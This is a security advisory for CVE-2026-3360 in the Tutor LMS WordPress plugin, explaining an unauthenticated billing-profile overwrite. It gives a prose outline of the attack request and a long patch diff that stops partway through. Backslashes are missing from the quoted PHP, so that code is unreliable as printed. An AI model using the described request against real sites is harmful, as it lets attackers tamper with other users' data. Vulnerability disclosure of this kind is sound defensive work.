Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 18, 2026

CVE-2026-3360: Tutor LMS <= 3.9.7 – Missing Authorization to Unauthenticated Arbitrary Billing Profile Overwrite via 'order_id' Parameter (tutor)

CVE ID CVE-2026-3360
Plugin tutor
Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 3.9.7
Patched Version 3.9.8
Disclosed April 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3360:
This vulnerability is a missing authorization flaw in the Tutor LMS WordPress plugin affecting versions up to 3.9.7. It allows unauthenticated attackers to overwrite the billing profile of any user who has an incomplete manual order. The vulnerability resides in the `pay_incomplete_order()` function within the plugin’s ecommerce checkout controller.

Root Cause:
The vulnerability exists because the `pay_incomplete_order()` function in `/tutor/ecommerce/CheckoutController.php` lacks proper authentication and authorization checks. The function accepts an attacker-controlled `order_id` parameter via POST (line 1063) and uses it to retrieve order data via `$order_model->get_order_by_id($order_id)` (line 1077). The function then writes billing fields to the order owner’s profile (`$order_data->user_id`) without verifying that the requester owns the order or is even authenticated. The function only checks for a valid Tutor nonce (`_tutor_nonce`), which is exposed on public frontend pages.

Exploitation:
Attackers can exploit this vulnerability by sending a crafted POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `tutor_pay_incomplete_order`. The request must include a valid `_tutor_nonce` (obtainable from public pages), an `order_id` parameter (guessed or enumerated), and attacker-controlled billing fields. The payload overwrites the billing profile (name, email, phone, address) of the user associated with the specified order. Attackers can enumerate order IDs or guess them based on predictable patterns.

Patch Analysis:
The patch adds two critical security checks to the `pay_incomplete_order()` function. First, it adds an authentication check at line 1060: `if ( ! is_user_logged_in() )` which redirects unauthenticated users. Second, it adds an authorization check at line 1078: `if ( $order_data && get_current_user_id() === (int) $order_data->user_id )`. This ensures the logged-in user owns the order before allowing profile updates. The patch also includes unrelated security improvements in other files, such as adding permission checks for private course enrollment and fixing SQL injection vulnerabilities.

Impact:
Successful exploitation allows unauthenticated attackers to overwrite the billing profile information of any Tutor LMS user who has an incomplete manual order. This constitutes unauthorized modification of user data and could facilitate identity theft, fraud, or further attacks by poisoning contact information. The vulnerability does not directly enable privilege escalation or remote code execution, but it violates data integrity and confidentiality principles.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/tutor/classes/Course.php
+++ b/tutor/classes/Course.php
@@ -249,7 +249,7 @@
 		 */
 		add_action( 'tutor_do_enroll_after_login_if_attempt', array( $this, 'enroll_after_login_if_attempt' ), 10, 2 );

-		add_action( 'wp_ajax_tutor_update_course_content_order', array( $this, 'tutor_update_course_content_order' ) );
+		add_action( 'wp_ajax_tutor_update_course_content_order', array( $this, 'ajax_update_course_content_order' ) );

 		add_action( 'wp_ajax_tutor_get_wc_product', array( $this, 'get_wc_product' ) );
 		add_action( 'wp_ajax_tutor_get_wc_products', array( $this, 'get_wc_products' ) );
@@ -1697,9 +1697,23 @@
 	 * @since 1.0.0
 	 * @return void
 	 */
-	public function tutor_update_course_content_order() {
+	public function ajax_update_course_content_order() {
 		tutor_utils()->checking_nonce();

+		$sorting_order = Input::post( 'tutor_topics_lessons_sorting', '' );
+		$sorting_order = json_decode( $sorting_order, true ) ?? array();
+
+		if ( ! tutor_utils()->count( $sorting_order ) ) {
+			wp_send_json_error( __( 'Sorting order is required', 'tutor' ) );
+		}
+
+		foreach ( $sorting_order as $topic ) {
+			if ( isset( $topic['topic_id'] ) && ! tutor_utils()->can_user_manage( 'topic', $topic['topic_id'] ) ) {
+				wp_send_json_error( __( 'Access Denied!', 'tutor' ) );
+				return;
+			}
+		}
+
 		if ( Input::has( 'content_parent' ) ) {
 			$content_parent = Input::post( 'content_parent', array(), Input::TYPE_ARRAY );
 			$topic_id       = tutor_utils()->array_get( 'parent_topic_id', $content_parent );
@@ -1716,7 +1730,7 @@
 		}

 		// Save course content order.
-		$this->save_course_content_order();
+		$this->save_course_content_order( $sorting_order );

 		wp_send_json_success();
 	}
@@ -1763,56 +1777,56 @@
 	 * Save course content order
 	 *
 	 * @since 1.0.0
+	 * @since 3.9.8 param $order added.
+	 *
+	 * @param array $sort_order the lesson and topic order array.
+	 *
 	 * @return void
 	 */
-	private function save_course_content_order() {
+	private function save_course_content_order( $sort_order = array() ) {
 		global $wpdb;

-		$new_order = Input::post( 'tutor_topics_lessons_sorting' );
-		if ( ! empty( $new_order ) ) {
-			$order = json_decode( $new_order, true );
-
-			if ( is_array( $order ) && count( $order ) ) {
-				$i = 0;
-				foreach ( $order as $topic ) {
-					$i++;
-					$wpdb->update(
-						$wpdb->posts,
-						array( 'menu_order' => $i ),
-						array( 'ID' => $topic['topic_id'] )
-					);
+		if ( ! tutor_utils()->count( $sort_order ) ) {
+			return;
+		}
+
+		$i = 0;
+		foreach ( $sort_order as $topic ) {
+			$i++;
+			$wpdb->update(
+				$wpdb->posts,
+				array( 'menu_order' => $i ),
+				array( 'ID' => $topic['topic_id'] )
+			);

-					/**
-					 * Removing All lesson with topic
-					 */
+			/**
+			* Removing All lesson with topic
+			*/
+			$wpdb->update(
+				$wpdb->posts,
+				array( 'post_parent' => 0 ),
+				array( 'post_parent' => $topic['topic_id'] )
+			);

+			/**
+			* Lesson Attaching with topic ID
+			* Sorting lesson
+			*/
+			if ( isset( $topic['lesson_ids'] ) ) {
+				$lesson_ids = $topic['lesson_ids'];
+			} else {
+				$lesson_ids = array();
+			}
+			if ( count( $lesson_ids ) ) {
+				foreach ( $lesson_ids as $lesson_key => $lesson_id ) {
 					$wpdb->update(
 						$wpdb->posts,
-						array( 'post_parent' => 0 ),
-						array( 'post_parent' => $topic['topic_id'] )
+						array(
+							'post_parent' => $topic['topic_id'],
+							'menu_order'  => $lesson_key,
+						),
+						array( 'ID' => $lesson_id )
 					);
-
-					/**
-					 * Lesson Attaching with topic ID
-					 * Sorting lesson
-					 */
-					if ( isset( $topic['lesson_ids'] ) ) {
-						$lesson_ids = $topic['lesson_ids'];
-					} else {
-						$lesson_ids = array();
-					}
-					if ( count( $lesson_ids ) ) {
-						foreach ( $lesson_ids as $lesson_key => $lesson_id ) {
-							$wpdb->update(
-								$wpdb->posts,
-								array(
-									'post_parent' => $topic['topic_id'],
-									'menu_order'  => $lesson_key,
-								),
-								array( 'ID' => $lesson_id )
-							);
-						}
-					}
 				}
 			}
 		}
@@ -1885,10 +1899,12 @@
 			//phpcs:enable WordPress.Security.NonceVerification.Missing
 		}

+		$sorting_order = Input::post( 'tutor_topics_lessons_sorting', '' );
+		$sorting_order = json_decode( $sorting_order, true ) ?? array();
 		/**
 		 * Sorting Topics and lesson
 		 */
-		$this->save_course_content_order();
+		$this->save_course_content_order( $sorting_order );

 		// Additional data like course intro video.
 		if ( $additional_data_edit ) {
@@ -2085,6 +2101,12 @@

 		$is_purchasable = tutor_utils()->is_course_purchasable( $course_id );

+		$course = get_post( $course_id );
+
+		if ( 'private' === $course->post_status && ! current_user_can( 'read_private_tutor_courses' ) ) {
+			wp_send_json_error( __( 'You do not have permission to enroll in this course', 'tutor' ) );
+		}
+
 		/**
 		 * If is is not purchasable, it's free, and enroll right now
 		 * If purchasable, then process purchase.
@@ -3011,6 +3033,12 @@
 				wp_send_json_error( __( 'This course is password protected', 'tutor' ) );
 			}

+			$course = get_post( $course_id );
+
+			if ( 'private' === $course->post_status && ! current_user_can( 'read_private_tutor_courses' ) ) {
+				wp_send_json_error( __( 'You do not have permission to enroll in this course', 'tutor' ) );
+			}
+
 			/**
 			 * This check was added to address a security issue where users could
 			 * enroll in a course via an AJAX call without purchasing it.
--- a/tutor/classes/QuizBuilder.php
+++ b/tutor/classes/QuizBuilder.php
@@ -301,16 +301,16 @@
 		$deleted_answer_ids   = array_filter( $deleted_answer_ids, 'is_numeric' );

 		if ( count( $deleted_question_ids ) ) {
-			$id_str = QueryHelper::prepare_in_clause( $deleted_question_ids );
-            //phpcs:ignore -- sanitized $id_str.
-            $wpdb->query( "DELETE FROM {$wpdb->prefix}tutor_quiz_questions WHERE content_id IS NULL AND question_id IN (" . $id_str . ')' );
+			$in_clause = QueryHelper::prepare_in_clause( $deleted_question_ids );
+            //phpcs:ignore -- sanitized $in_clause.
+            $wpdb->query( $wpdb->prepare(  "DELETE FROM {$wpdb->prefix}tutor_quiz_questions WHERE content_id IS NULL AND question_id IN ({$in_clause})" ) );
 			do_action( 'tutor_deleted_quiz_question_ids', $deleted_question_ids );
 		}

 		if ( count( $deleted_answer_ids ) ) {
-			$id_str = QueryHelper::prepare_in_clause( $deleted_answer_ids );
-            //phpcs:ignore -- sanitized $id_str.
-            $wpdb->query( "DELETE FROM {$wpdb->prefix}tutor_quiz_question_answers WHERE answer_id IN (" . $id_str . ')' );
+			$in_clause = QueryHelper::prepare_in_clause( $deleted_answer_ids );
+            //phpcs:ignore -- sanitized $in_clause.
+            $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->prefix}tutor_quiz_question_answers WHERE answer_id IN ({$in_clause})" ) );
 		}
 	}

@@ -430,6 +430,5 @@
 		} else {
 			$this->json_response( __( 'Error', 'tutor' ), $result->errors, HttpHelper::STATUS_BAD_REQUEST );
 		}
-
 	}
 }
--- a/tutor/classes/Tutor.php
+++ b/tutor/classes/Tutor.php
@@ -12,6 +12,7 @@

 use TutorModelsCourseModel;
 use TutorEcommerceEcommerce;
+use TutorHelpersQueryHelper;
 use TutorMigrationsMigration;
 use TutorTemplateImportTemplateImportInit;

@@ -1359,8 +1360,8 @@
 				'tutor_announcements',
 			);

-			$post_type_strings = "'" . implode( "','", $post_types ) . "'";
-			$tutor_posts       = $wpdb->get_col( "SELECT ID from {$wpdb->posts} WHERE post_type in({$post_type_strings}) ;" ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$in_clause   = QueryHelper::prepare_in_clause( $post_types );
+			$tutor_posts = $wpdb->get_col( $wpdb->prepare( "SELECT ID from {$wpdb->posts} WHERE post_type IN({$in_clause}) ;" ) ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared

 			if ( is_array( $tutor_posts ) && count( $tutor_posts ) ) {
 				foreach ( $tutor_posts as $post_id ) {
@@ -1385,10 +1386,10 @@
 			/**
 			 * Deleting Comments (reviews, questions, quiz_answers, etc)
 			 */
-			$tutor_comments       = $wpdb->get_col( "SELECT comment_ID from {$wpdb->comments} WHERE comment_agent = 'comment_agent' ;" );
-			$comments_ids_strings = "'" . implode( "','", $tutor_comments ) . "'";
+			$tutor_comments = $wpdb->get_col( "SELECT comment_ID from {$wpdb->comments} WHERE comment_agent = 'comment_agent' ;" );
 			if ( is_array( $tutor_comments ) && count( $tutor_comments ) ) {
-				$wpdb->query( "DELETE from {$wpdb->commentmeta} WHERE comment_ID in({$comments_ids_strings}) " ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+				$in_clause = QueryHelper::prepare_in_clause( $tutor_comments );
+				$wpdb->query( $wpdb->prepare( "DELETE from {$wpdb->commentmeta} WHERE comment_ID in({$in_clause}) " ) ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 			}
 			$wpdb->delete( $wpdb->comments, array( 'comment_agent' => 'comment_agent' ) );

--- a/tutor/ecommerce/CheckoutController.php
+++ b/tutor/ecommerce/CheckoutController.php
@@ -1057,6 +1057,12 @@
 	 * @return void
 	 */
 	public function pay_incomplete_order() {
+
+		// Authentication check.
+		if ( ! is_user_logged_in() ) {
+			tutor_redirect_after_payment( OrderModel::ORDER_PLACEMENT_FAILED, 0, __( 'Please log in first', 'tutor' ) );
+		}
+
 		$order_id       = Input::post( 'order_id', 0, Input::TYPE_INT );
 		$payment_method = Input::post( 'payment_method', '' );
 		$request        = Input::sanitize_array( $_POST ); //phpcs:ignore -- $POST sanitized
@@ -1068,10 +1074,11 @@
 			tutor_utils()->redirect_to( tutor_utils()->tutor_dashboard_url( 'purchase_history' ), tutor_utils()->error_message( 'nonce' ), 'error' );
 			exit;
 		}
+
 		if ( $order_id ) {
 			$order_model = new OrderModel();
 			$order_data  = $order_model->get_order_by_id( $order_id );
-			if ( $order_data ) {
+			if ( $order_data && get_current_user_id() === (int) $order_data->user_id ) {
 				try {

 					if ( ! empty( $payment_method ) && OrderModel::PAYMENT_METHOD_MANUAL === $order_data->payment_method ) {
--- a/tutor/ecommerce/PaymentGateways/Paypal/vendor/autoload.php
+++ b/tutor/ecommerce/PaymentGateways/Paypal/vendor/autoload.php
@@ -3,10 +3,20 @@
 // autoload.php @generated by Composer

 if (PHP_VERSION_ID < 50600) {
-    echo 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
-    exit(1);
+    if (!headers_sent()) {
+        header('HTTP/1.1 500 Internal Server Error');
+    }
+    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    if (!ini_get('display_errors')) {
+        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
+            fwrite(STDERR, $err);
+        } elseif (!headers_sent()) {
+            echo $err;
+        }
+    }
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitf2a8e6585aad5cd4574a3da6c2080d0a::getLoader();
+return ComposerAutoloaderInit782d4c9085c0db1d1581d526ad727646::getLoader();
--- a/tutor/ecommerce/PaymentGateways/Paypal/vendor/composer/ClassLoader.php
+++ b/tutor/ecommerce/PaymentGateways/Paypal/vendor/composer/ClassLoader.php
@@ -42,35 +42,37 @@
  */
 class ClassLoader
 {
-    /** @var ?string */
+    /** @var Closure(string):void */
+    private static $includeFile;
+
+    /** @var string|null */
     private $vendorDir;

     // PSR-4
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, int>>
+     * @var array<string, array<string, int>>
      */
     private $prefixLengthsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, array<int, string>>
+     * @var array<string, list<string>>
      */
     private $prefixDirsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr4 = array();

     // PSR-0
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, string[]>>
+     * List of PSR-0 prefixes
+     *
+     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+     *
+     * @var array<string, array<string, list<string>>>
      */
     private $prefixesPsr0 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr0 = array();

@@ -78,8 +80,7 @@
     private $useIncludePath = false;

     /**
-     * @var string[]
-     * @psalm-var array<string, string>
+     * @var array<string, string>
      */
     private $classMap = array();

@@ -87,29 +88,29 @@
     private $classMapAuthoritative = false;

     /**
-     * @var bool[]
-     * @psalm-var array<string, bool>
+     * @var array<string, bool>
      */
     private $missingClasses = array();

-    /** @var ?string */
+    /** @var string|null */
     private $apcuPrefix;

     /**
-     * @var self[]
+     * @var array<string, self>
      */
     private static $registeredLoaders = array();

     /**
-     * @param ?string $vendorDir
+     * @param string|null $vendorDir
      */
     public function __construct($vendorDir = null)
     {
         $this->vendorDir = $vendorDir;
+        self::initializeIncludeClosure();
     }

     /**
-     * @return string[]
+     * @return array<string, list<string>>
      */
     public function getPrefixes()
     {
@@ -121,8 +122,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, array<int, string>>
+     * @return array<string, list<string>>
      */
     public function getPrefixesPsr4()
     {
@@ -130,8 +130,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirs()
     {
@@ -139,8 +138,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirsPsr4()
     {
@@ -148,8 +146,7 @@
     }

     /**
-     * @return string[] Array of classname => path
-     * @psalm-return array<string, string>
+     * @return array<string, string> Array of classname => path
      */
     public function getClassMap()
     {
@@ -157,8 +154,7 @@
     }

     /**
-     * @param string[] $classMap Class to filename map
-     * @psalm-param array<string, string> $classMap
+     * @param array<string, string> $classMap Class to filename map
      *
      * @return void
      */
@@ -175,24 +171,25 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string          $prefix  The prefix
-     * @param string[]|string $paths   The PSR-0 root directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix
+     * @param list<string>|string $paths   The PSR-0 root directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    (array) $paths
+                    $paths
                 );
             }

@@ -201,19 +198,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+            $this->prefixesPsr0[$first][$prefix] = $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -222,9 +219,9 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string          $prefix  The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths   The PSR-4 base directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths   The PSR-4 base directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
      *
@@ -232,17 +229,18 @@
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    (array) $paths
+                    $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -252,18 +250,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
+            $this->prefixDirsPsr4[$prefix] = $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -272,8 +270,8 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string          $prefix The prefix
-     * @param string[]|string $paths  The PSR-0 base directories
+     * @param string              $prefix The prefix
+     * @param list<string>|string $paths  The PSR-0 base directories
      *
      * @return void
      */
@@ -290,8 +288,8 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string          $prefix The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths  The PSR-4 base directories
+     * @param string              $prefix The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
      *
@@ -425,7 +423,8 @@
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            includeFile($file);
+            $includeFile = self::$includeFile;
+            $includeFile($file);

             return true;
         }
@@ -476,9 +475,9 @@
     }

     /**
-     * Returns the currently registered loaders indexed by their corresponding vendor directories.
+     * Returns the currently registered loaders keyed by their corresponding vendor directories.
      *
-     * @return self[]
+     * @return array<string, self>
      */
     public static function getRegisteredLoaders()
     {
@@ -555,18 +554,26 @@

         return false;
     }
-}

-/**
- * Scope isolated include.
- *
- * Prevents access to $this/self from included files.
- *
- * @param  string $file
- * @return void
- * @private
- */
-function includeFile($file)
-{
-    include $file;
+    /**
+     * @return void
+     */
+    private static function initializeIncludeClosure()
+    {
+        if (self::$includeFile !== null) {
+            return;
+        }
+
+        /**
+         * Scope isolated include.
+         *
+         * Prevents access to $this/self from included files.
+         *
+         * @param  string $file
+         * @return void
+         */
+        self::$includeFile = Closure::bind(static function($file) {
+            include $file;
+        }, null, null);
+    }
 }
--- a/tutor/ecommerce/PaymentGateways/Paypal/vendor/composer/InstalledVersions.php
+++ b/tutor/ecommerce/PaymentGateways/Paypal/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -98,7 +109,7 @@
     {
         foreach (self::getInstalled() as $installed) {
             if (isset($installed['versions'][$packageName])) {
-                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
+                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
             }
         }

@@ -119,7 +130,7 @@
      */
     public static function satisfies(VersionParser $parser, $packageName, $constraint)
     {
-        $constraint = $parser->parseConstraints($constraint);
+        $constraint = $parser->parseConstraints((string) $constraint);
         $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

         return $provided->matches($constraint);
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,17 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
-                    $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php';
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+                    $required = require $vendorDir.'/composer/installed.php';
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -340,12 +379,17 @@
             // only require the installed.php file if this file is loaded from its dumped location,
             // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
             if (substr(__DIR__, -8, 1) !== 'C') {
-                self::$installed = require __DIR__ . '/installed.php';
+                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+                $required = require __DIR__ . '/installed.php';
+                self::$installed = $required;
             } else {
                 self::$installed = array();
             }
         }
-        $installed[] = self::$installed;
+
+        if (self::$installed !== array() && !$copiedLocalDir) {
+            $installed[] = self::$installed;
+        }

         return $installed;
     }
--- a/tutor/ecommerce/PaymentGateways/Paypal/vendor/composer/autoload_real.php
+++ b/tutor/ecommerce/PaymentGateways/Paypal/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInitf2a8e6585aad5cd4574a3da6c2080d0a
+class ComposerAutoloaderInit782d4c9085c0db1d1581d526ad727646
 {
     private static $loader;

@@ -24,34 +24,27 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInitf2a8e6585aad5cd4574a3da6c2080d0a', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit782d4c9085c0db1d1581d526ad727646', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInitf2a8e6585aad5cd4574a3da6c2080d0a', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit782d4c9085c0db1d1581d526ad727646', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInitf2a8e6585aad5cd4574a3da6c2080d0a::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInit782d4c9085c0db1d1581d526ad727646::getInitializer($loader));

         $loader->register(true);

-        $includeFiles = ComposerAutoloadComposerStaticInitf2a8e6585aad5cd4574a3da6c2080d0a::$files;
-        foreach ($includeFiles as $fileIdentifier => $file) {
-            composerRequiref2a8e6585aad5cd4574a3da6c2080d0a($fileIdentifier, $file);
+        $filesToLoad = ComposerAutoloadComposerStaticInit782d4c9085c0db1d1581d526ad727646::$files;
+        $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
+            if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
+                $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
+
+                require $file;
+            }
+        }, null, null);
+        foreach ($filesToLoad as $fileIdentifier => $file) {
+            $requireFile($fileIdentifier, $file);
         }

         return $loader;
     }
 }
-
-/**
- * @param string $fileIdentifier
- * @param string $file
- * @return void
- */
-function composerRequiref2a8e6585aad5cd4574a3da6c2080d0a($fileIdentifier, $file)
-{
-    if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
-        $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
-
-        require $file;
-    }
-}
--- a/tutor/ecommerce/PaymentGateways/Paypal/vendor/composer/autoload_static.php
+++ b/tutor/ecommerce/PaymentGateways/Paypal/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInitf2a8e6585aad5cd4574a3da6c2080d0a
+class ComposerStaticInit782d4c9085c0db1d1581d526ad727646
 {
     public static $files = array (
         '7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php',
@@ -13,22 +13,22 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'P' =>
+        'P' =>
         array (
             'Psr\Http\Message\' => 17,
             'Psr\Http\Client\' => 16,
         ),
-        'O' =>
+        'O' =>
         array (
             'Ollyo\PaymentHub\' => 17,
         ),
-        'G' =>
+        'G' =>
         array (
             'GuzzleHttp\Psr7\' => 16,
             'GuzzleHttp\Promise\' => 19,
             'GuzzleHttp\' => 11,
         ),
-        'B' =>
+        'B' =>
         array (
             'Brick\Money\' => 12,
             'Brick\Math\' => 11,
@@ -36,36 +36,36 @@
     );

     public static $prefixDirsPsr4 = array (
-        'Psr\Http\Message\' =>
+        'Psr\Http\Message\' =>
         array (
             0 => __DIR__ . '/..' . '/psr/http-factory/src',
             1 => __DIR__ . '/..' . '/psr/http-message/src',
         ),
-        'Psr\Http\Client\' =>
+        'Psr\Http\Client\' =>
         array (
             0 => __DIR__ . '/..' . '/psr/http-client/src',
         ),
-        'Ollyo\PaymentHub\' =>
+        'Ollyo\PaymentHub\' =>
         array (
             0 => __DIR__ . '/../..' . '/src',
         ),
-        'GuzzleHttp\Psr7\' =>
+        'GuzzleHttp\Psr7\' =>
         array (
             0 => __DIR__ . '/..' . '/guzzlehttp/psr7/src',
         ),
-        'GuzzleHttp\Promise\' =>
+        'GuzzleHttp\Promise\' =>
         array (
             0 => __DIR__ . '/..' . '/guzzlehttp/promises/src',
         ),
-        'GuzzleHttp\' =>
+        'GuzzleHttp\' =>
         array (
             0 => __DIR__ . '/..' . '/guzzlehttp/guzzle/src',
         ),
-        'Brick\Money\' =>
